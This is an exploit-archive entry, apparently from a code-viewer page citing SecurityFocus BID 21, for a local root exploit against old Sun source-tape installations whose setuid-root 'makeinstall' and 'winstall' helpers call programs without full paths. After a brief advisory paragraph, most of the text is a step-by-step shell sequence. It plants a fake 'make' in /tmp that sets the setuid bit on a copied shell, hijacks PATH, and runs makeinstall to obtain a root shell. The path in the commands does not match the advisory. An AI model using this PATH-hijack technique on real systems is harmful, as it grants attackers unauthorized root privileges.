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692 B
Text
22 lines
No EOL
692 B
Text
source: https://www.securityfocus.com/bid/21/info
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This applies to sites that have installed Sun Source tapes
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only.
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The Sun distribution of sources (sunsrc) has an installation
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procedure which creates the directory /usr/release/bin and
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installs two setuid root files in it: makeinstall and winstall.
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These are both binary files which exec other programs:
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"make -k install" (makeinstall) or "install" (winstall) without
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a full path or reseting the PATH enviroment variable.
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This makes it possible for users on that system to become root.
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$ cp /bin/sh /tmp/sh
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$ echo chmod 4777 /tmp/sh > /tmp/make
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$ chmod a+rx /tmp/make
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$ set PATH=/tmp:$PATH
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$ export PATH
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$ /usr/bin/makeinstall
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$ /tmp/sh
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# |